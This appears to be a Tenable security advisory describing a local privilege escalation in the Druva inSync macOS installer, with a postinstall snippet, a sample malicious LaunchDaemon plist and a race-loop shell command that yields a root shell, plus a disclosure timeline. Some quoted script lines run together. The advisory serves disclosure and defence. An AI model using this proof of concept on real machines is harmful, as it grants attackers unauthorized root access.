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Druva inSync Installer Privilege Escalation

High

Synopsis

Druva inSync Privilege Escalation via Installer

In the installation package for macOS provided by Druva (install inSync.pkg), the "postinstall" script included in the installer allows for privilege escalation from a normal user to root due to improper checking of the integrity of the LaunchDaemon scripts.

The plists used for these daemons are generated in a user-writable directory rather than an installer sandbox or some other privileged directory, which allows a lower-privileged user to overwrite these files during the installation process. These files later launch the daemons with root privileges.

Snippet from postinstall script:

# Prepare inSyncDecommission daemon for launch
DAEMONS_DIR=/Library/LaunchDaemons
cp "${APP}/Contents/Resources/inSyncDecommission.plist" ${DAEMONS_DIR}DECOM_DAEMON="${APP}/Contents/MacOS/inSyncDecommission"
DAEMON_PLIST=${DAEMONS_DIR}/inSyncDecommission.plist# Prepare inSyncUpgradeDaemon daemon for launch
cp "${APP}/Contents/Resources/inSyncUpgradeDaemon.plist" ${DAEMONS_DIR}UPGRADE_DAEMON="${APP}/Contents/MacOS/inSyncUpgradeDaemon"
UPGRADE_PLIST=${DAEMONS_DIR}/inSyncUpgradeDaemon.plist 

As a simple proof of concept, creating the following plist, running the shell commands, and then running the installer will cause the launch daemon to spawn a root shell instead of the desired inSync service.

It should be noted that the LaunchAgents later in the script are also affected by this issue, but with a less severe impact as they only provide a persistence mechanism rather than elevated privileges.

Sample malicious plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>KeepAlive</key>
	<true/>
	<key>Label</key>
	<string>com.druva.inSyncDecom</string>
	<key>ProgramArguments</key>
	<array>
		<string>/Applications/iTerm.app/Contents/MacOS/iTerm2</string>
	</array>
	<key>RunAtLoad</key>
	<true/>
</dict>
</plist>

Sample shell commands:

while true; do                                                                                                                                                                                                     
    mkdir -p /Applications/Druva\ inSync.app/Contents/Resources;
    yes | cp -f /tmp/insync.plist /Applications/Druva\ inSync.app/Contents/Resources/inSyncDecommission.plist
done

 

Disclosure Timeline

September 9, 2020 - Vulnerabilities Discovered
September 9, 2020 - Tenable discloses to vendor.
September 10, 2020 - Druva acknowledges.
October 7, 2020 - Tenable requests status update.
October 13, 2020 - Druva requests clarification.
October 13, 2020 - Tenable provides clarification.
November 13, 2020 - Tenable requests status update.
November 13, 2020 - Druva provides status update.
November 17, 2020 - Druva requests secure contact to send update link to.
November 17, 2020 - Tenable provides contact information.
November 17, 2020 - Druva sends update preview.
November 18, 2020 - Tenable confirms existing PoC no longer works.
November 30, 2020 - Druva states that fixed installer will be released on Dec. 4.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

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